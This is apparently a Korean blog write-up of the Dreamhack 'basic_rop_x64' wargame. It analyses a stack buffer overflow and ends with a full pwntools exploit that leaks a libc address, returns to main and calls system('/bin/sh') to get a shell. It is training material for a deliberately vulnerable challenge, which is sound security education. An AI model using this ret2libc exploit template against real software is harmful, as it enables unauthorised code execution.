[Pwnable] basic_rop_x64

2025. 1. 1. 04:04·Hacking/Write Up
728x90
반응형

문제 : https://dreamhack.io/wargame/challenges/29

 

basic_rop_x64

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다. Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일

dreamhack.io

 

Environment

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
  • No canary : canary를 leak하는 과정이 필요하지 않다. 
  • PIE : plt, got 등 코드 영역의 주소가 변화되지 않는다. 
  • Partial RELRO : 일부 영역의 쓰기 권한이 없다 
  • NX enabled : 스택에 실행 권한이 존재하지 않는다. 

 

Code Analysis

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

 

Vulnerability Type : Stack buffer Overflow (BOF)

현재 buf는 0x40만큼 할당되어 있다. 

read는 0x400만큼 입력받고, buf의 크기만큼 buf에 있는 값을 화면에 출력한다. 

read할 때 입력 크기의 제한보다 buf의 크기가 작으므로 스택 버퍼 오버플로우 가능성이 존재한다. 

 

해당 코드를 취약하다고 판단한 이유는 다음과 같다. 

  1. 입력 크기 제한 > 버퍼 크기
  2. 스택 상 연속된 메모리 구조 침범 가능성 -> return addr에 접근 가능
  3. 실행 흐름 조작 가능성
  4. 보호 기법을 bypass할 수 있음

이에 따라 해당 코드는 익스플로잇이 가능하다 

 

Exploit Idea

  1. buf와 SFP의 값 덮기
  2. RET 부분에 rop를 만들어 ret2main하기

write(1,read@got,0) + main 주소 -> ret2main 기법

 

* rop 문제처럼 read@got를 읽어서 stdin을 read하여 실행시킬 수 있지만, ret2main기법을 사용해보겠다

 

Stack Frame

Dump of assembler code for function main:
   0x00000000004007ba <+0>:	push   rbp
   0x00000000004007bb <+1>:	mov    rbp,rsp
   0x00000000004007be <+4>:	sub    rsp,0x50
   0x00000000004007c2 <+8>:	mov    DWORD PTR [rbp-0x44],edi
   0x00000000004007c5 <+11>:	mov    QWORD PTR [rbp-0x50],rsi
   0x00000000004007c9 <+15>:	lea    rdx,[rbp-0x40]
   0x00000000004007cd <+19>:	mov    eax,0x0
   0x00000000004007d2 <+24>:	mov    ecx,0x8
   0x00000000004007d7 <+29>:	mov    rdi,rdx
   0x00000000004007da <+32>:	rep stos QWORD PTR es:[rdi],rax
   0x00000000004007dd <+35>:	mov    eax,0x0
   0x00000000004007e2 <+40>:	call   0x40075e <initialize>
   0x00000000004007e7 <+45>:	lea    rax,[rbp-0x40]
   0x00000000004007eb <+49>:	mov    edx,0x400
   0x00000000004007f0 <+54>:	mov    rsi,rax
   0x00000000004007f3 <+57>:	mov    edi,0x0
   0x00000000004007f8 <+62>:	call   0x4005f0 <read@plt>
   0x00000000004007fd <+67>:	lea    rax,[rbp-0x40]
   0x0000000000400801 <+71>:	mov    edx,0x40
   0x0000000000400806 <+76>:	mov    rsi,rax
   0x0000000000400809 <+79>:	mov    edi,0x1
   0x000000000040080e <+84>:	call   0x4005d0 <write@plt>
   0x0000000000400813 <+89>:	mov    eax,0x0
   0x0000000000400818 <+94>:	leave  
   0x0000000000400819 <+95>:	ret    
End of assembler dump.

0x50만큼의 stack을 사용한다.

또한 buf는 rbp-0x40에 위치한다는 것을 확인할 수 있다.

stack frame

 

Exploit Scenario

system 함수 주소 계산

  1. libc의 base주소를 구하기 : read@got - read offset
  2. system 함수의 offset 구하기
  3. system 함수의 주소 = libc base + system offset

즉, read@got를 읽어야한다. 

write(1, read@got, 8)으로 read@got를 출력하여 read 함수의 주소를 획득할 수 있다. 

 

"/bin/sh" 문자열 읽기

gdb를 run 한 상태로

pwndbg> search "/bin/sh"
Searching for byte: b'/bin/sh'
libc.so.6       0x7ffff7f62678 0x68732f6e69622f /* '/bin/sh' */

이를 통해 /bin/sh를 찾을 수도 있고

 

sh = list(libc.search(b"/bin/sh"))[0]

pwntools로 찾을 수도 있다. 

 

"/bin/sh" = libc base + "/bin/sh" offset이다. 

 

ret2main

write(1, read@got, 8) 코드 이후, main의 주소를 넣는 rop를 완성한다. 이렇게 되면 다시 main으로 돌아올 수 있다. 

 

쉘 획득

system("/bin/sh")를 실행한다. 

pop rdi; ret 가젯을 사용하여 셀을 획득한다.

 

pwntools의 ROP 클래스 메서드 함수인 find_gadget을 사용하여 구할 수 있다. 

 

Exploit Code

from pwn import *

p = remote("host3.dreamhack.games",17345)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
r = ROP(e)

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
main = e.sym['main']

read_offset = libc.sym['read']
system_offset = libc.sym['system']
binsh_offset = list(libc.search(b"/bin/sh"))[0]

pop_rdi = r.find_gadget(['pop rdi', 'ret']).address
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret']).address
ret = r.find_gadget(['ret']).address

payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(main)

p.send(payload)

read = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = read - read_offset
system = libc_base + system_offset
binsh = libc_base + binsh_offset

payload = b'A' * 0x48
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.interactive()

 

 

Feedback

main으로 돌아가야 다시 입력을 받을 수 있다는 사실을 잊지 말자..

main으로 돌아가는 과정을 쓰지 않았다가 조금 꼬였다. 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Hacking > Write Up' 카테고리의 다른 글

[Pwnable] fho  (0) 2025.05.09
[Pwnable] basic_rop_x86  (0) 2025.05.08
[Pwnable] rop  (0) 2024.12.29
[BLUEHENS CTF 2024] pwn-Training-Problem:Intro-to-PWN Write Up  (1) 2024.11.12
[Pwnable] Return to Library  (2) 2024.09.16
'Hacking/Write Up' 카테고리의 다른 글
  • [Pwnable] fho
  • [Pwnable] basic_rop_x86
  • [Pwnable] rop
  • [BLUEHENS CTF 2024] pwn-Training-Problem:Intro-to-PWN Write Up
min_zu
min_zu
  • min_zu
    민주제도
    min_zu
  • 전체
    오늘
    어제
    • ._. (176)
      • AI (2)
        • DeepLearning (2)
        • CS231n (0)
      • Web (2)
        • ReactJS (0)
      • CS (83)
        • OS (7)
        • Data Structure (23)
        • Computer Architecture (8)
        • Computer Network (20)
        • Algorithm (25)
      • Linux (3)
        • KaliLinux (0)
        • Docker (1)
      • Hacking (83)
        • Write Up (25)
        • Pwnable (13)
        • Reversing (2)
        • Cryptography (12)
        • Web Hacking (4)
        • Window (6)
        • Network (7)
        • Web3 (13)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    ComputerArchitecture
    Search
    AI
    OS
    DataStructure
    Web
    Tree
    Linux
    Mac
    Sort
    Graph
    UTM
    WinAFL
    DeepLearning
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
min_zu
[Pwnable] basic_rop_x64
상단으로

티스토리툴바